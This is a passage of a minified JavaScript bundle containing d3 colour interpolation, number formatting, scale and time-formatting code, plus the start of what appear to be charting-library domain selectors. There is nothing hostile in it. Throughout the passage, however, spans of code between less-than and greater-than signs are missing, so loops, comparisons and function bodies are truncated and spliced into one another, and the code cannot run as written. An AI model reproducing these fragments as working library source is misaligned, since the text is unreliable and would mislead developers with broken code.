${nd(this.l)*100}%${e===1?")":`, ${e})`}`}}));function nN(e){return e=(e||0)%360,e<0?e+360:e}function nd(e){return Math.max(0,Math.min(1,e||0))}function ky(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const jx=e=>()=>e;function _W(e,t){return function(n){return e+n*t}}function TW(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function NW(e){return(e=+e)==1?HD:function(t,n){return n-t?TW(t,n,e):jx(isNaN(t)?n:t)}}function HD(e,t){var n=t-e;return n?_W(e,n):jx(isNaN(e)?t:e)}const rN=(function e(t){var n=NW(t);function r(i,l){var c=n((i=ab(i)).r,(l=ab(l)).r),u=n(i.g,l.g),f=n(i.b,l.b),h=HD(i.opacity,l.opacity);return function(p){return i.r=c(p),i.g=u(p),i.b=f(p),i.opacity=h(p),i+""}}return r.gamma=e,r})(1);function MW(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(l){for(i=0;in&&(l=t.slice(n,l),u[c]?u[c]+=l:u[++c]=l),(r=r[0])===(i=i[0])?u[c]?u[c]+=i:u[++c]=i:(u[++c]=null,f.push({i:c,x:th(r,i)})),n=Ly.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function UW(e,t,n){var r=e[0],i=e[1],l=t[0],c=t[1];return i2?HW:UW,f=h=null,m}function m(y){return y==null||isNaN(y=+y)?l:(f||(f=u(e.map(r),t,n)))(r(c(y)))}return m.invert=function(y){return c(i((h||(h=u(t,e.map(r),th)))(y)))},m.domain=function(y){return arguments.length?(e=Array.from(y,nh),p()):e.slice()},m.range=function(y){return arguments.length?(t=Array.from(y),p()):t.slice()},m.rangeRound=function(y){return t=Array.from(y),n=Px,p()},m.clamp=function(y){return arguments.length?(c=y?!0:un,p()):c!==un},m.interpolate=function(y){return arguments.length?(n=y,p()):n},m.unknown=function(y){return arguments.length?(l=y,m):l},function(y,x){return r=y,i=x,p()}}function Rx(){return yp()(un,un)}function qW(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function rh(e,t){if((n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"))<0)return null;var n,r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function Ll(e){return e=rh(Math.abs(e)),e?e[1]:NaN}function FW(e,t){return function(n,r){for(var i=n.length,l=[],c=0,u=e[0],f=0;i>0&&u>0&&(f+u+1>r&&(u=Math.max(1,r-f)),l.push(n.substring(i-=u,i+u)),!((f+=u+1)>r));)u=e[c=(c+1)%e.length];return l.reverse().join(t)}}function VW(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var KW=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Lc(e){if(!(t=KW.exec(e)))throw new Error("invalid format: "+e);var t;return new Dx({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Lc.prototype=Dx.prototype;function Dx(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}Dx.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function YW(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var qD;function GW(e,t){var n=rh(e,t);if(!n)return e+"";var r=n[0],i=n[1],l=i-(qD=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,c=r.length;return l===c?r:l>c?r+new Array(l-c+1).join("0"):l>0?r.slice(0,l)+"."+r.slice(l):"0."+new Array(1-l).join("0")+rh(e,Math.max(0,t+l-1))[0]}function iN(e,t){var n=rh(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const oN={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:qW,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>iN(e*100,t),r:iN,s:GW,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function lN(e){return e}var sN=Array.prototype.map,cN=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function WW(e){var t=e.grouping===void 0||e.thousands===void 0?lN:FW(sN.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",l=e.numerals===void 0?lN:VW(sN.call(e.numerals,String)),c=e.percent===void 0?"%":e.percent+"",u=e.minus===void 0?"−":e.minus+"",f=e.nan===void 0?"NaN":e.nan+"";function h(m){m=Lc(m);var y=m.fill,x=m.align,S=m.sign,w=m.symbol,O=m.zero,A=m.width,_=m.comma,T=m.precision,j=m.trim,M=m.type;M==="n"?(_=!0,M="g"):oN[M]||(T===void 0&&(T=12),j=!0,M="g"),(O||y==="0"&&x==="=")&&(O=!0,y="0",x="=");var P=w==="$"?n:w==="#"&&/[boxX]/.test(M)?"0"+M.toLowerCase():"",R=w==="$"?r:/[%p]/.test(M)?c:"",I=oN[M],B=/[defgprs%]/.test(M);T=T===void 0?6:/[gprs]/.test(M)?Math.max(1,Math.min(21,T)):Math.max(0,Math.min(20,T));function q(U){var V=P,oe=R,le,ce,L;if(M==="c")oe=I(U)+oe,U="";else{U=+U;var F=U<0||1/U<0;if(U=isNaN(U)?f:I(Math.abs(U),T),j&&(U=YW(U)),F&&+U==0&&S!=="+"&&(F=!1),V=(F?S==="("?S:u:S==="-"||S==="("?"":S)+V,oe=(M==="s"?cN[8+qD/3]:"")+oe+(F&&S==="("?")":""),B){for(le=-1,ce=U.length;++leL||L>57){oe=(L===46?i+U.slice(le+1):U.slice(le))+oe,U=U.slice(0,le);break}}}_&&!O&&(U=t(U,1/0));var $=V.length+U.length+oe.length,Z=$>1)+V+U+oe+Z.slice($);break;default:U=Z+V+U+oe;break}return l(U)}return q.toString=function(){return m+""},q}function p(m,y){var x=h((m=Lc(m),m.type="f",m)),S=Math.max(-8,Math.min(8,Math.floor(Ll(y)/3)))*3,w=Math.pow(10,-S),O=cN[8+S/3];return function(A){return x(w*A)+O}}return{format:h,formatPrefix:p}}var rd,kx,FD;XW({thousands:",",grouping:[3],currency:["$",""]});function XW(e){return rd=WW(e),kx=rd.format,FD=rd.formatPrefix,rd}function ZW(e){return Math.max(0,-Ll(Math.abs(e)))}function QW(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(Ll(t)/3)))*3-Ll(Math.abs(e)))}function JW(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,Ll(t)-Ll(e))+1}function VD(e,t,n,r){var i=nb(e,t,n),l;switch(r=Lc(r??",f"),r.type){case"s":{var c=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(l=QW(i,c))&&(r.precision=l),FD(r,c)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(l=JW(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=l-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(l=ZW(i))&&(r.precision=l-(r.type==="%")*2);break}}return kx(r)}function Ti(e){var t=e.domain;return e.ticks=function(n){var r=t();return eb(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return VD(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,l=r.length-1,c=r[i],u=r[l],f,h,p=10;for(u0;){if(h=tb(c,u,n),h===f)return r[i]=c,r[l]=u,t(r);if(h>0)c=Math.floor(c/h)*h,u=Math.ceil(u/h)*h;else if(h<0)c=Math.ceil(c*h)/h,u=Math.floor(u*h)/h;else break;f=h}return e},e}function KD(){var e=Rx();return e.copy=function(){return ru(e,KD())},pr.apply(e,arguments),Ti(e)}function YD(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,nh),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return YD(e).unknown(t)},e=arguments.length?Array.from(e,nh):[0,1],Ti(n)}function GD(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],l=e[r],c;return lMath.pow(e,t)}function aX(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function dN(e){return(t,n)=>-e(-t,n)}function Lx(e){const t=e(uN,fN),n=t.domain;let r=10,i,l;function c(){return i=aX(r),l=rX(r),n()[0]<0?(i=dN(i),l=dN(l),e(eX,tX)):e(uN,fN),t}return t.base=function(u){return arguments.length?(r=+u,c()):r},t.domain=function(u){return arguments.length?(n(u),c()):n()},t.ticks=u=>{const f=n();let h=f[0],p=f[f.length-1];const m=p0){for(;y<=x;++y)for(S=1;Sp)break;A.push(w)}}else for(;y<=x;++y)for(S=r-1;S>=1;--S)if(w=y>0?S/l(-y):S*l(y),!(wp)break;A.push(w)}A.length*2{if(u==null&&(u=10),f==null&&(f=r===10?"s":","),typeof f!="function"&&(!(r%1)&&(f=Lc(f)).precision==null&&(f.trim=!0),f=kx(f)),u===1/0)return f;const h=Math.max(1,r*u/t.ticks().length);return p=>{let m=p/l(Math.round(i(p)));return m*rn(GD(n(),{floor:u=>l(Math.floor(i(u))),ceil:u=>l(Math.ceil(i(u)))})),t}function WD(){const e=Lx(yp()).domain([1,10]);return e.copy=()=>ru(e,WD()).base(e.base()),pr.apply(e,arguments),e}function hN(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function pN(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function Ix(e){var t=1,n=e(hN(t),pN(t));return n.constant=function(r){return arguments.length?e(hN(t=+r),pN(t)):t},Ti(n)}function XD(){var e=Ix(yp());return e.copy=function(){return ru(e,XD()).constant(e.constant())},pr.apply(e,arguments)}function mN(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function iX(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function oX(e){return e<0?-e*e:e*e}function zx(e){var t=e(un,un),n=1;function r(){return n===1?e(un,un):n===.5?e(iX,oX):e(mN(n),mN(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},Ti(t)}function $x(){var e=zx(yp());return e.copy=function(){return ru(e,$x()).exponent(e.exponent())},pr.apply(e,arguments),e}function lX(){return $x.apply(null,arguments).exponent(.5)}function vN(e){return Math.sign(e)*e*e}function sX(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function ZD(){var e=Rx(),t=[0,1],n=!1,r;function i(l){var c=sX(e(l));return isNaN(c)?r:n?Math.round(c):c}return i.invert=function(l){return e.invert(vN(l))},i.domain=function(l){return arguments.length?(e.domain(l),i):e.domain()},i.range=function(l){return arguments.length?(e.range((t=Array.from(l,nh)).map(vN)),i):t.slice()},i.rangeRound=function(l){return i.range(l).round(!0)},i.round=function(l){return arguments.length?(n=!!l,i):n},i.clamp=function(l){return arguments.length?(e.clamp(l),i):e.clamp()},i.unknown=function(l){return arguments.length?(r=l,i):r},i.copy=function(){return ZD(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},pr.apply(i,arguments),Ti(i)}function QD(){var e=[],t=[],n=[],r;function i(){var c=0,u=Math.max(1,t.length);for(n=new Array(u-1);++c0?n[u-1]:e[0],u=n?[r[n-1],t]:[r[h-1],r[h]]},c.unknown=function(f){return arguments.length&&(l=f),c},c.thresholds=function(){return r.slice()},c.copy=function(){return JD().domain([e,t]).range(i).unknown(l)},pr.apply(Ti(c),arguments)}function ek(){var e=[.5],t=[0,1],n,r=1;function i(l){return l!=null&&l<=l?t[tu(e,l,0,r)]:n}return i.domain=function(l){return arguments.length?(e=Array.from(l),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(l){return arguments.length?(t=Array.from(l),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(l){var c=t.indexOf(l);return[e[c-1],e[c]]},i.unknown=function(l){return arguments.length?(n=l,i):n},i.copy=function(){return ek().domain(e).range(t).unknown(n)},pr.apply(i,arguments)}const Iy=new Date,zy=new Date;function Lt(e,t,n,r){function i(l){return e(l=arguments.length===0?new Date:new Date(+l)),l}return i.floor=l=>(e(l=new Date(+l)),l),i.ceil=l=>(e(l=new Date(l-1)),t(l,1),e(l),l),i.round=l=>{const c=i(l),u=i.ceil(l);return l-c(t(l=new Date(+l),c==null?1:Math.floor(c)),l),i.range=(l,c,u)=>{const f=[];if(l=i.ceil(l),u=u==null?1:Math.floor(u),!(l0))return f;let h;do f.push(h=new Date(+l)),t(l,u),e(l);while(hLt(c=>{if(c>=c)for(;e(c),!l(c);)c.setTime(c-1)},(c,u)=>{if(c>=c)if(u<0)for(;++u<=0;)for(;t(c,-1),!l(c););else for(;--u>=0;)for(;t(c,1),!l(c););}),n&&(i.count=(l,c)=>(Iy.setTime(+l),zy.setTime(+c),e(Iy),e(zy),Math.floor(n(Iy,zy))),i.every=l=>(l=Math.floor(l),!isFinite(l)||!(l>0)?null:l>1?i.filter(r?c=>r(c)%l===0:c=>i.count(0,c)%l===0):i)),i}const ah=Lt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);ah.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?Lt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):ah);ah.range;const ya=1e3,lr=ya*60,ba=lr*60,Ca=ba*24,Bx=Ca*7,gN=Ca*30,$y=Ca*365,eo=Lt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*ya)},(e,t)=>(t-e)/ya,e=>e.getUTCSeconds());eo.range;const Ux=Lt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*ya)},(e,t)=>{e.setTime(+e+t*lr)},(e,t)=>(t-e)/lr,e=>e.getMinutes());Ux.range;const Hx=Lt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*lr)},(e,t)=>(t-e)/lr,e=>e.getUTCMinutes());Hx.range;const qx=Lt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*ya-e.getMinutes()*lr)},(e,t)=>{e.setTime(+e+t*ba)},(e,t)=>(t-e)/ba,e=>e.getHours());qx.range;const Fx=Lt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*ba)},(e,t)=>(t-e)/ba,e=>e.getUTCHours());Fx.range;const au=Lt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*lr)/Ca,e=>e.getDate()-1);au.range;const bp=Lt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ca,e=>e.getUTCDate()-1);bp.range;const tk=Lt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ca,e=>Math.floor(e/Ca));tk.range;function Eo(e){return Lt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*lr)/Bx)}const xp=Eo(0),ih=Eo(1),cX=Eo(2),uX=Eo(3),Il=Eo(4),fX=Eo(5),dX=Eo(6);xp.range;ih.range;cX.range;uX.range;Il.range;fX.range;dX.range;function Ao(e){return Lt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/Bx)}const wp=Ao(0),oh=Ao(1),hX=Ao(2),pX=Ao(3),zl=Ao(4),mX=Ao(5),vX=Ao(6);wp.range;oh.range;hX.range;pX.range;zl.range;mX.range;vX.range;const Vx=Lt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());Vx.range;const Kx=Lt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());Kx.range;const _a=Lt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());_a.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:Lt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});_a.range;const Ta=Lt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());Ta.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:Lt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});Ta.range;function nk(e,t,n,r,i,l){const c=[[eo,1,ya],[eo,5,5*ya],[eo,15,15*ya],[eo,30,30*ya],[l,1,lr],[l,5,5*lr],[l,15,15*lr],[l,30,30*lr],[i,1,ba],[i,3,3*ba],[i,6,6*ba],[i,12,12*ba],[r,1,Ca],[r,2,2*Ca],[n,1,Bx],[t,1,gN],[t,3,3*gN],[e,1,$y]];function u(h,p,m){const y=pO).right(c,y);if(x===c.length)return e.every(nb(h/$y,p/$y,m));if(x===0)return ah.every(Math.max(nb(h,p,m),1));const[S,w]=c[y/c[x-1][2]53)return null;"w"in ne||(ne.w=1),"Z"in ne?(je=Uy(sc(ne.y,0,1)),bt=je.getUTCDay(),je=bt>4||bt===0?oh.ceil(je):oh(je),je=bp.offset(je,(ne.V-1)*7),ne.y=je.getUTCFullYear(),ne.m=je.getUTCMonth(),ne.d=je.getUTCDate()+(ne.w+6)%7):(je=By(sc(ne.y,0,1)),bt=je.getDay(),je=bt>4||bt===0?ih.ceil(je):ih(je),je=au.offset(je,(ne.V-1)*7),ne.y=je.getFullYear(),ne.m=je.getMonth(),ne.d=je.getDate()+(ne.w+6)%7)}else("W"in ne||"U"in ne)&&("w"in ne||(ne.w="u"in ne?ne.u%7:"W"in ne?1:0),bt="Z"in ne?Uy(sc(ne.y,0,1)).getUTCDay():By(sc(ne.y,0,1)).getDay(),ne.m=0,ne.d="W"in ne?(ne.w+6)%7+ne.W*7-(bt+5)%7:ne.w+ne.U*7-(bt+6)%7);return"Z"in ne?(ne.H+=ne.Z/100|0,ne.M+=ne.Z%100,Uy(ne)):By(ne)}}function I(Q,fe,he,ne){for(var Ke=0,je=fe.length,bt=he.length,xt,Cn;Ke=bt)return-1;if(xt=fe.charCodeAt(Ke++),xt===37){if(xt=fe.charAt(Ke++),Cn=M[xt in yN?fe.charAt(Ke++):xt],!Cn||(ne=Cn(Q,he,ne))<0)return-1}else if(xt!=he.charCodeAt(ne++))return-1}return ne}function B(Q,fe,he){var ne=h.exec(fe.slice(he));return ne?(Q.p=p.get(ne[0].toLowerCase()),he+ne[0].length):-1}function q(Q,fe,he){var ne=x.exec(fe.slice(he));return ne?(Q.w=S.get(ne[0].toLowerCase()),he+ne[0].length):-1}function U(Q,fe,he){var ne=m.exec(fe.slice(he));return ne?(Q.w=y.get(ne[0].toLowerCase()),he+ne[0].length):-1}function V(Q,fe,he){var ne=A.exec(fe.slice(he));return ne?(Q.m=_.get(ne[0].toLowerCase()),he+ne[0].length):-1}function oe(Q,fe,he){var ne=w.exec(fe.slice(he));return ne?(Q.m=O.get(ne[0].toLowerCase()),he+ne[0].length):-1}function le(Q,fe,he){return I(Q,t,fe,he)}function ce(Q,fe,he){return I(Q,n,fe,he)}function L(Q,fe,he){return I(Q,r,fe,he)}function F(Q){return c[Q.getDay()]}function $(Q){return l[Q.getDay()]}function Z(Q){return f[Q.getMonth()]}function de(Q){return u[Q.getMonth()]}function D(Q){return i[+(Q.getHours()>=12)]}function X(Q){return 1+~~(Q.getMonth()/3)}function ae(Q){return c[Q.getUTCDay()]}function se(Q){return l[Q.getUTCDay()]}function me(Q){return f[Q.getUTCMonth()]}function xe(Q){return u[Q.getUTCMonth()]}function ee(Q){return i[+(Q.getUTCHours()>=12)]}function _e(Q){return 1+~~(Q.getUTCMonth()/3)}return{format:function(Q){var fe=P(Q+="",T);return fe.toString=function(){return Q},fe},parse:function(Q){var fe=R(Q+="",!1);return fe.toString=function(){return Q},fe},utcFormat:function(Q){var fe=P(Q+="",j);return fe.toString=function(){return Q},fe},utcParse:function(Q){var fe=R(Q+="",!0);return fe.toString=function(){return Q},fe}}}var yN={"-":"",_:" ",0:"0"},Kt=/^\s*\d+/,SX=/^%/,OX=/[\\^$*+?|[\]().{}]/g;function qe(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",l=i.length;return r+(l[t.toLowerCase(),n]))}function AX(e,t,n){var r=Kt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function CX(e,t,n){var r=Kt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function _X(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function TX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function NX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function bN(e,t,n){var r=Kt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function xN(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function MX(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function jX(e,t,n){var r=Kt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function PX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function wN(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function RX(e,t,n){var r=Kt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function SN(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function DX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function kX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function LX(e,t,n){var r=Kt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function IX(e,t,n){var r=Kt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function zX(e,t,n){var r=SX.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function $X(e,t,n){var r=Kt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function BX(e,t,n){var r=Kt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function ON(e,t){return qe(e.getDate(),t,2)}function UX(e,t){return qe(e.getHours(),t,2)}function HX(e,t){return qe(e.getHours()%12||12,t,2)}function qX(e,t){return qe(1+au.count(_a(e),e),t,3)}function rk(e,t){return qe(e.getMilliseconds(),t,3)}function FX(e,t){return rk(e,t)+"000"}function VX(e,t){return qe(e.getMonth()+1,t,2)}function KX(e,t){return qe(e.getMinutes(),t,2)}function YX(e,t){return qe(e.getSeconds(),t,2)}function GX(e){var t=e.getDay();return t===0?7:t}function WX(e,t){return qe(xp.count(_a(e)-1,e),t,2)}function ak(e){var t=e.getDay();return t>=4||t===0?Il(e):Il.ceil(e)}function XX(e,t){return e=ak(e),qe(Il.count(_a(e),e)+(_a(e).getDay()===4),t,2)}function ZX(e){return e.getDay()}function QX(e,t){return qe(ih.count(_a(e)-1,e),t,2)}function JX(e,t){return qe(e.getFullYear()%100,t,2)}function eZ(e,t){return e=ak(e),qe(e.getFullYear()%100,t,2)}function tZ(e,t){return qe(e.getFullYear()%1e4,t,4)}function nZ(e,t){var n=e.getDay();return e=n>=4||n===0?Il(e):Il.ceil(e),qe(e.getFullYear()%1e4,t,4)}function rZ(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+qe(t/60|0,"0",2)+qe(t%60,"0",2)}function EN(e,t){return qe(e.getUTCDate(),t,2)}function aZ(e,t){return qe(e.getUTCHours(),t,2)}function iZ(e,t){return qe(e.getUTCHours()%12||12,t,2)}function oZ(e,t){return qe(1+bp.count(Ta(e),e),t,3)}function ik(e,t){return qe(e.getUTCMilliseconds(),t,3)}function lZ(e,t){return ik(e,t)+"000"}function sZ(e,t){return qe(e.getUTCMonth()+1,t,2)}function cZ(e,t){return qe(e.getUTCMinutes(),t,2)}function uZ(e,t){return qe(e.getUTCSeconds(),t,2)}function fZ(e){var t=e.getUTCDay();return t===0?7:t}function dZ(e,t){return qe(wp.count(Ta(e)-1,e),t,2)}function ok(e){var t=e.getUTCDay();return t>=4||t===0?zl(e):zl.ceil(e)}function hZ(e,t){return e=ok(e),qe(zl.count(Ta(e),e)+(Ta(e).getUTCDay()===4),t,2)}function pZ(e){return e.getUTCDay()}function mZ(e,t){return qe(oh.count(Ta(e)-1,e),t,2)}function vZ(e,t){return qe(e.getUTCFullYear()%100,t,2)}function gZ(e,t){return e=ok(e),qe(e.getUTCFullYear()%100,t,2)}function yZ(e,t){return qe(e.getUTCFullYear()%1e4,t,4)}function bZ(e,t){var n=e.getUTCDay();return e=n>=4||n===0?zl(e):zl.ceil(e),qe(e.getUTCFullYear()%1e4,t,4)}function xZ(){return"+0000"}function AN(){return"%"}function CN(e){return+e}function _N(e){return Math.floor(+e/1e3)}var bl,lk,sk;wZ({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function wZ(e){return bl=wX(e),lk=bl.format,bl.parse,sk=bl.utcFormat,bl.utcParse,bl}function SZ(e){return new Date(e)}function OZ(e){return e instanceof Date?+e:+new Date(+e)}function Yx(e,t,n,r,i,l,c,u,f,h){var p=Rx(),m=p.invert,y=p.domain,x=h(".%L"),S=h(":%S"),w=h("%I:%M"),O=h("%I %p"),A=h("%a %d"),_=h("%b %d"),T=h("%B"),j=h("%Y");function M(P){return(f(P)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,l)=>fW(e,l/r))},n.copy=function(){return dk(t).domain(e)},Da.apply(n,arguments)}function Op(){var e=0,t=.5,n=1,r=1,i,l,c,u,f,h=un,p,m=!1,y;function x(w){return isNaN(w=+w)?y:(w=.5+((w=+p(w))-l)*(r*we.chartData,Ep=G([ka],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),vk=(e,t,n,r)=>r?Ep(e):ka(e),TZ=(e,t,n)=>n?Ep(e):ka(e);function Oi(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(ht(t)&&ht(n))return!0}return!1}function TN(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function gk(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,l;if(ht(n))i=n;else if(typeof n=="function")return;if(ht(r))l=r;else if(typeof r=="function")return;var c=[i,l];if(Oi(c))return c}}function NZ(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Oi(r))return TN(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,l]=e,c,u;if(i==="auto")t!=null&&(c=Math.min(...t));else if(Oe(i))c=i;else if(typeof 